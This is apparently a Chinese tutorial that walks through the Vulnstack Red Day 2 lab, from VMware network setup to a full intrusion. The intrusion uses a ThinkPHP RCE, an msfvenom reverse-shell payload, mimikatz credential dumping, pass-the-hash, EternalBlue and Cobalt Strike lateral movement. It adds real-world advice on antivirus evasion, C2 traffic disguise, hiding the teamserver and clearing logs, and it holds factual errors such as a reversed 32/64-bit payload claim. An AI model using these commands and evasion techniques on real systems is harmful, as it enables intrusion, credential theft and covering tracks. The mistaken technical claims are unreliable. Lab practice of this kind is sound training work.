1. 项目概述与核心价值
最近在安全圈子里,Vulnstack红日靶场的热度一直居高不下。作为一个模拟真实企业内网环境的靶场,它几乎成了检验渗透测试者内网横向移动和域渗透能力的“标准考卷”。特别是红日靶场2,其环境设计巧妙,涉及Web漏洞、主机提权、域内信息收集、横向移动以及权限维持等多个核心环节,完整走一遍流程,对内网渗透的理解能提升一个档次。
很多朋友可能卡在了第一步:环境搭建。网上教程虽多,但要么环境对不上,要么步骤跳跃太大,对新手极不友好。今天,我就以一个“过来人”的身份,分享一套基于VMware和Kali Linux的保姆级复现流程。我会从零开始,手把手带你搭建靶场、配置网络、复现攻击链,并重点分享如何将Cobalt Strike(CS)联动到整个渗透流程中,实现从外网打点到内网漫游的丝滑体验。无论你是刚接触内网安全的新手,还是想系统梳理一下流程的老兵,这篇长文都能给你带来实实在在的收获。
2. 环境准备与靶场搭建
2.1 靶场镜像与工具获取
首先,我们需要准备好所有“食材”。Vulnstack红日靶场2的官方镜像可以在其GitHub仓库或相关安全论坛找到。通常,它是一个包含三台虚拟机的压缩包:一台作为外网Web服务器(Windows 2008,通常带有诸如ThinkPHP等漏洞),一台作为内网域成员服务器(Windows 7或2008),还有一台是域控制器(Windows Server 2012或2008 R2)。确保你下载的是完整的、未被修改过的镜像,这是复现成功的基础。
我们的攻击机选择Kali Linux,这是渗透测试的“瑞士军刀”,预装了绝大多数我们需要的工具。你需要从Kali官网下载最新的稳定版ISO镜像。至于虚拟机软件,VMware Workstation Pro是首选,其网络配置功能强大且稳定,非常适合搭建这种多机互通的复杂内网环境。
注意:请务必从官方或可信渠道下载软件和镜像,避免镜像被植入后门或软件被捆绑恶意代码。Kali和VMware都有明确的官方网站。
2.2 VMware网络拓扑规划与配置
这是整个环境搭建中最关键,也最容易出错的一步。红日靶场2的典型网络拓扑需要模拟出“攻击机(外网)-> Web服务器(双网卡)-> 内网域环境”的结构。
创建自定义虚拟网络:打开VMware的“编辑”->“虚拟网络编辑器”。我们需要创建两个VMnet。
- VMnet1(仅主机模式):将其IP网段设置为
192.168.52.0/24(子网掩码255.255.255.0)。这个网络将模拟“外网”,我们的Kali攻击机和靶场的Web服务器外网卡将连接至此。 - VMnet2(仅主机模式):将其IP网段设置为
192.168.93.0/24(子网掩码255.255.255.0)。这个网络将模拟“内网”,靶场Web服务器的内网卡、域成员服务器和域控制器都连接至此。 - 务必取消勾选“使用本地DHCP服务”,我们将手动配置静态IP,避免IP地址变动带来的麻烦。
- VMnet1(仅主机模式):将其IP网段设置为
导入并配置靶场虚拟机:
- 分别解压并导入三台靶场虚拟机。首次启动时,选择“我已复制该虚拟机”。
- Web服务器(Win2008):在虚拟机设置中,添加两块网络适配器。适配器1连接到
VMnet1,适配器2连接到VMnet2。启动后,手动设置IP。外网卡(对应VMnet1)设置为192.168.52.143(举例),网关可留空。内网卡(对应VMnet2)设置为192.168.93.143。这样,这台机器就成了连接内外网的“跳板机”。 - 域成员服务器(Win7):网络适配器连接到
VMnet2,IP设置为192.168.93.138,DNS指向域控制器的IP(如192.168.93.130)。 - 域控制器(Win2012):网络适配器连接到
VMnet2,IP设置为192.168.93.130,同时也是DNS服务器。
配置Kali攻击机:将Kali虚拟机的网络适配器连接到
VMnet1。启动后,手动配置静态IP,例如192.168.52.128。这样,Kali就能与Web服务器的外网卡(192.168.52.143)直接通信了。
配置完成后,你可以在Kali上ping 192.168.52.143测试到Web服务器的连通性。在Web服务器上ping 192.168.93.138和ping 192.168.93.130测试到内网机器的连通性。确保所有基础网络都是通的,再进行下一步。
2.3 Kali Linux基础优化与问题排查
新安装的Kali可能需要一些调整才能用得顺手。首先建议更新源并升级系统:sudo apt update && sudo apt upgrade -y。如果速度慢,可以更换为国内镜像源。
一个非常常见且恼人的问题是“Kali鼠标光标消失”。这通常发生在VMware Tools安装不完整或显示驱动有问题时。解决方法如下:
- 首先尝试在VMware菜单中,为虚拟机安装或重新安装VMware Tools。
- 如果无效,可以尝试安装
open-vm-tools-desktop:sudo apt install open-vm-tools-desktop -y,然后重启。 - 还有一种临时解决方案是,在终端输入
killall -9 vmware-user,然后等待VMware Tools进程自动重启,光标有时会恢复。
另一个常见问题是权限。Kali默认用户是kali,但很多操作需要root权限。避免频繁使用sudo的一个方法是直接切换到root shell:sudo su。但要注意,这会让你在root环境下操作,需格外小心。对于某些特定工具(如Docker),可能需要将用户加入docker组:sudo usermod -aG docker kali,注销后重新登录生效。
3. 外网打点与初始突破
3.1 信息收集与漏洞扫描
环境就绪后,我们首先从Kali对Web服务器(192.168.52.143)进行信息收集。使用nmap进行端口扫描是第一步:
nmap -sS -sV -O -p- 192.168.52.143参数解释:-sS(SYN半开扫描),-sV(探测服务版本),-O(探测操作系统),-p-(扫描所有65535个端口)。扫描结果可能会显示开放了80(HTTP)、445(SMB)、3306(MySQL)等端口。
接下来,访问http://192.168.52.143,看看是什么Web应用。红日靶场2通常模拟的是一个存在漏洞的CMS或框架,比如ThinkPHP。使用浏览器插件或命令行工具(如whatweb)进行指纹识别:whatweb http://192.168.52.143。同时,可以用dirb或gobuster进行目录扫描,寻找后台、备份文件等敏感路径。
3.2 漏洞利用与WebShell获取
假设我们通过信息收集发现目标是一个存在已知RCE(远程代码执行)漏洞的ThinkPHP版本(例如5.0.23)。我们可以直接使用Metasploit框架中的对应模块。
- 启动Metasploit:
msfconsole - 搜索漏洞:
search thinkphp - 使用对应模块:
use exploit/multi/php/thinkphp_rce - 设置参数:
set RHOSTS 192.168.52.143,set TARGETURI /(如果目标在根目录) - 执行攻击:
exploit
如果利用成功,我们会获得一个Meterpreter会话。这是我们的第一个立足点。首先,使用getuid命令查看当前权限,通常是www-data或apache这类Web服务权限,权限较低。
3.3 权限提升与持久化入口
在Meterpreter会话中,我们需要进行提权。可以尝试使用本地漏洞利用模块。先使用sysinfo查看系统信息,然后背景化当前会话(background)。在msf中搜索提权模块:search suggester,使用post/multi/recon/local_exploit_suggester,并设置会话ID。运行后,它会推荐可能成功的本地提权漏洞。
选择一个推荐的模块(例如针对Windows MS16-032),使用它并设置会话参数,再次exploit。如果提权成功,新的Meterpreter会话权限就是NT AUTHORITY\SYSTEM了。
获得系统权限后,我们需要建立一个更稳定、持久的后门,以便后续内网横向移动。一种常见方法是创建计划任务或服务。在Meterpreter中,可以使用persistence模块。但这里,为了后续与Cobalt Strike联动,我们采用另一种更灵活的方式:生成一个Payload并上传执行。
我们可以用msfvenom生成一个反向TCP的Windows可执行文件(exe):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.128 LPORT=4444 -f exe -o shell.exe将生成的shell.exe通过Meterpreter的upload命令上传到目标机器,然后使用execute -f shell.exe执行。同时在msf中启动对应的监听器(use exploit/multi/handler, 设置同样的payload和LHOST/LPORT)。这样我们就有了一个独立的、高权限的Meterpreter会话,为下一步跳板做准备。
4. 内网横向移动与信息收集
4.1 建立跳板与内网探测
现在,我们已经完全控制了作为跳板机的Web服务器(192.168.52.143/192.168.93.143)。接下来,我们要以它为据点,向内网(192.168.93.0/24)渗透。
首先,在已控的Web服务器上,进行内网信息收集。在Meterpreter会话中,可以运行arp -a或ipconfig /all来确认内网网卡和同网段主机。更高效的方法是上传一些轻量级的内网扫描工具,如nmapfor Windows 或fscan。
假设我们上传了fscan.exe。在Meterpreter中切换到该目录,执行:
execute -f fscan.exe -a "-h 192.168.93.0/24"这将快速扫描内网存活主机和常见端口。我们很可能会发现192.168.93.138(域成员)和192.168.93.130(域控)是存活的,并且开放了诸如135、139、445、389(LDAP)、53(DNS)等端口。
4.2 凭证获取与哈希传递攻击(PtH)
在Windows域环境中,最经典的横向移动方式是利用凭证。我们可以尝试从已控的Web服务器上抓取密码哈希。在Meterpreter中,使用hashdump或run post/windows/gather/hashdump来获取本地用户哈希。但更关键的是,如果这台机器有域用户登录过,我们可以尝试使用mimikatz来抓取明文密码或Kerberos票据。
上传mimikatz工具,在Meterpreter的shell中执行:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit如果成功,你可能会看到域用户(格式为DOMAIN\User)的明文密码或NTLM哈希。假设我们抓取到了域用户REDTEAM\zhangsan的哈希HASH_VALUE。
现在,我们可以尝试使用Pass-the-Hash (PtH)攻击来横向移动到内网的另一台主机(如192.168.93.138)。在Meterpreter中,我们可以使用psexec模块,但需要指定哈希:
use exploit/windows/smb/psexec set RHOSTS 192.168.93.138 set SMBUser REDTEAM\zhangsan set SMBPass HASH_VALUE # 这里填入抓取的NTLM哈希 set PAYLOAD windows/x64/meterpreter/bind_tcp # 因为是从内网跳板机发起,所以用bind_tcp set LPORT 5555 exploit如果目标主机的SMB服务开放(445端口),并且该域用户有足够的权限(通常是本地管理员组),我们就能成功获得192.168.93.138的Meterpreter会话。
4.3 利用MS17-010(永恒之蓝)进行横向移动
在内网中,老旧系统未打补丁的情况很常见。我们可以尝试利用经典的MS17-010漏洞。首先,用nmap脚本扫描内网主机是否存在该漏洞:
nmap --script smb-vuln-ms17-010 192.168.93.0/24如果发现某台主机(例如192.168.93.138)存在漏洞,我们可以直接从已控的跳板机(Web服务器)上发起攻击。但更常见的做法是,将我们的攻击流量“代理”进内网。这里就需要用到端口转发或SOCKS代理。
在已控的Web服务器的Meterpreter会话中,添加一个路由,让MSF知道如何访问内网网段:
run autoroute -s 192.168.93.0/24然后背景化会话。现在,我们可以直接在Kali本地的MSF中,使用针对192.168.93.138的exploit/windows/smb/ms17_010_eternalblue模块。因为我们已经通过autoroute建立了路由,MSF会自动通过已控的跳板将会话弹回来。
5. Cobalt Strike(CS)联动实战技巧
5.1 CS团队服务器部署与监听器配置
Metasploit功能强大,但在长期渗透和团队协作中,Cobalt Strike(CS)的图形化、协同作战和后期能力更胜一筹。我们的目标是将CS作为控制中枢,接管从外网到内网的所有会话。
首先,你需要一台具有公网IP的服务器(或在本机,但内网穿透较麻烦)来运行CS的团队服务器(TeamServer)。假设你有一台VPS,IP是Your_Server_IP。
- 上传CS安装包到服务器,赋予执行权限:
chmod +x teamserver - 启动团队服务器:
./teamserver Your_Server_IP Your_Password [/path/to/c2.profile]Your_Password是客户端连接的共享密码。- C2 Profile用于配置通信的流量伪装,对抗流量检测,这是CS进阶使用的关键。
然后,在你的本地攻击机(Kali或Windows)上启动CS客户端,连接团队服务器。输入服务器IP、密码和你的昵称。
连接成功后,首先需要创建监听器(Listener)。这是Beacon回连的“电话线”。点击Cobalt Strike->Listeners。
- HTTP/HTTPS监听器:用于外网初始攻击。设置好端口(如80,443),
Redirect可以指向一个合法的网站用于迷惑。 - SMB Beacon监听器:用于内网横向移动。它通过命名管道在已控主机之间通信,非常适合不出网(无法直接连接外网C2)的内网主机。
- TCP Beacon监听器:另一种内网通信方式。
5.2 从MSF会话派生到CS Beacon
我们已经有了Metasploit的Meterpreter会话(在Web服务器上)。现在,我们要把这个会话“迁移”到CS的控制下。
- 在CS中,准备好一个Windows可执行文件(Stageless)的Payload。点击
Attacks->Packages->Windows Executable (S)。选择刚才创建的HTTP监听器,生成一个payload.exe。 - 将这个
payload.exe上传到已控的Web服务器(通过Meterpreter的upload命令)。 - 在Meterpreter会话中,执行这个
payload.exe:execute -f payload.exe。 - 回到CS客户端,稍等片刻,你应该能看到一个新的主机上线。它的图标可能一开始是白色的(表示Stager阶段),很快会变成黑色的(表示完整的Beacon已建立)。
现在,这个Web服务器就在CS的控制下了。我们可以抛弃MSF的会话,所有操作都在CS的图形化界面中进行,更加方便。
5.3 利用CS进行内网横向移动与域渗透
CS控制跳板机后,内网横向移动变得可视化且强大。
- 端口扫描与视图:在
Targets标签页,可以右键主机,进行端口扫描。扫描结果会以图形化方式呈现,非常直观。 - 凭证获取:右键已控主机,选择
Access->Dump Hashes,CS会尝试使用内置的Mimikatz功能抓取哈希。获取的哈希会保存在Credentials标签页中。 - 哈希传递(PtH):在
Credentials标签页,右键一个NTLM哈希,选择Spawn As。这会生成一个使用该哈希运行的新的Beacon。如果该哈希对应的用户在目标机器上有权限,新的Beacon就会在该目标机器上上线。这是CS里进行PtH最优雅的方式。 - SMB Beacon与横向移动:
- 首先,确保你创建了一个SMB监听器。
- 在已控主机A(跳板机)的Beacon中,输入命令
jump winrm64 192.168.93.138 smb。这个命令会尝试通过WinRM协议,利用当前Beacon的令牌,在目标主机192.168.93.138上生成一个SMB Beacon的Stager。 - 如果成功,你会在CS中看到主机
192.168.93.138上线,但其父级是主机A。它们之间通过命名管道通信,完全不需要192.168.93.138直接连接外网C2服务器。
- 域信息收集与权限提升:在Beacon中,可以使用内置命令进行域内信息收集,如
net view /domain,net group “domain admins” /domain等。更强大的功能是使用powershell-import加载PowerShell脚本,然后执行诸如BloodHound数据收集脚本,将数据导出后放入BloodHound图形化工具进行分析,可以清晰地看到域内的攻击路径。
5.4 CS的权限维持与隐蔽技巧
获得域控权限后,需要思考如何维持访问。CS提供了多种方式:
- 创建计划任务:通过
schtasks命令创建定时启动的Beacon。 - 创建服务:通过
sc命令创建系统服务。 - Golden Ticket(黄金票据):如果抓取到了域控krbtgt账户的哈希,可以在CS中直接生成黄金票据,从而获得域内任意服务的访问权限,这是最强大的权限维持手段之一。命令类似于
golden_ticket_create REDTEAM\Administrator krbtgt_ntlm_hash。 - C2 Profile与流量伪装:这是CS的灵魂功能之一。通过编写C2 Profile,可以定义Beacon与团队服务器之间通信的HTTP请求/响应头、URI参数、证书等,使其流量看起来像正常的云服务(如Google、Azure)或企业内部软件的流量,极大增强隐蔽性。
6. 常见问题排查与实战心得
6.1 网络不通问题深度排查
网络问题是复现靶场时最大的拦路虎。如果Kali ping不通Web服务器,请按以下顺序排查:
- 虚拟机网络设置:反复确认每台虚拟机的网络适配器是否连接到了正确的VMnet(Kali和Web外网卡在VMnet1,其他在VMnet2)。
- 防火墙:关闭所有虚拟机(尤其是Windows靶机)的防火墙。在真实渗透中需要其他技巧,但实验环境建议直接关闭。
- IP地址冲突:确保所有手动设置的IP地址在同一网段内且唯一。
- 虚拟网络编辑器配置:确认VMnet1和VMnet2的网段没有重叠,且子网掩码正确。检查是否勾选了“将主机虚拟适配器连接到此网络”。
- 主机系统服务:确保主机系统的VMware相关服务(如VMware NAT Service, VMware DHCP Service)正在运行。
如果从Web服务器ping不通内网其他主机,除了检查上述防火墙和IP设置,还需确认Web服务器的内网卡(VMnet2)是否启用了“Microsoft网络的文件和打印机共享”等必要的网络功能。
6.2 漏洞利用失败原因分析
- Payload不匹配:确保生成的Payload架构(x86/x64)与目标系统匹配。32位系统可以运行64位Payload,但反之则不行。使用
sysinfo命令查看目标系统信息。 - 杀毒软件拦截:靶场环境通常没有杀软,但真实环境或某些加固的镜像可能有。可以尝试对Payload进行编码、加壳或使用分离加载等技术进行免杀。CS的Artifact Kit和Resource Kit就是用于生成免杀Payload的。
- 目标服务未运行或版本不符:确认扫描到的服务版本与你要利用的漏洞版本一致。例如,ThinkPHP的漏洞利用可能对路径有要求,需要正确设置
TARGETURI参数。 - 会话意外断开:Meterpreter会话可能因为网络不稳定、目标进程崩溃或反病毒措施而断开。使用
persistence模块建立持久化后门,或者使用CS的Beacon,其心跳机制和重连能力更强。
6.3 CS联动过程中的典型坑点
- Beacon不上线:
- 监听器配置错误:检查团队服务器防火墙是否放通了监听端口。检查监听器的IP地址是否正确(应设为团队服务器IP或0.0.0.0)。
- Payload类型错误:在内网横向移动时,如果目标主机不能出网,必须使用SMB Beacon或TCP Beacon,而不能使用HTTP/HTTPS Beacon。
- 代理问题:如果跳板机需要通过代理上网,需要在生成Payload或配置监听器时设置代理。
- 哈希传递(PtH)失败:
- 权限不足:确保使用的域用户是目标机器的本地管理员组成员。
- SMB签名限制:如果目标服务器(如域控)强制要求SMB签名,普通的PtH攻击会失败。需要寻找其他方法,或者使用Kerberos票据相关的攻击。
- Protected Users组:如果用户被加入了“Protected Users”安全组,会阻止NTLM认证,导致PtH失败。
- 团队服务器被溯源:这是实战中的大忌。务必使用C2 Profile对流量进行伪装,使用CDN或云函数等反向代理来隐藏团队服务器真实IP,定期更换监听器和Payload。
6.4 个人实战经验与技巧分享
- 信息收集要细:不要只满足于端口扫描。多花时间进行Web目录扫描、子域名枚举、框架指纹识别。一个不起眼的备份文件(如
www.zip)、一个暴露的测试接口(如/phpinfo.php),都可能成为突破口。 - 善用代理链:在复杂内网中,可能需要经过多级跳板。熟练掌握MSF的
autoroute、socks4a代理模块,以及CS的SOCKS Proxy功能,可以让你的攻击流量在多层内网中畅行无阻。在MSF中设置好路由后,配合proxychains工具,可以让本地的扫描器(如nmap)直接扫描内网深网段。 - 凭证是王道:内网渗透,本质上很多时候是“凭证狩猎”。拿到一个高权限的域用户凭证,可能比发现十个漏洞都有用。除了Mimikatz,多关注浏览器的密码、保存的RDP连接信息、配置文件中的硬编码密码等。
- 思路要灵活:不要死磕一种方法。如果445端口的SMB攻击不行,试试80/443的Web漏洞,或者135端口的WMI、5985端口的WinRM。CS的
jump命令就支持多种协议(psexec, winrm, wmi等)。 - 清理痕迹:实验环境无所谓,但实战中,做完任何操作,都要思考如何清理日志。在CS Beacon中,可以使用
logonpasswords命令后跟clear参数来清除Mimikatz在内存中的痕迹。对于Windows事件日志,可以使用clearev命令(Meterpreter)或相应的PowerShell脚本。 - 文档与记录:在复杂的渗透测试过程中,一定要做好记录。用了什么IP、什么账号、拿到了什么权限、发现了什么信息。CS的
Notes功能和Reporting功能非常好用。清晰的记录有助于梳理攻击路径,也便于后期编写报告。
复现红日靶场这样的综合性靶场,最大的收获不是按部就班地走完流程,而是在遇到问题时,学会如何利用搜索引擎、查阅官方文档、分析错误信息去独立解决。每一个报错都是学习的机会。当你能够不依赖教程,自己调试通整个流程,甚至发现教程里没写的更优路径时,你的内网渗透能力才算真正入了门。最后,记住所有技术都应在法律和授权范围内使用,靶场是磨砺技术的绝佳沙盒。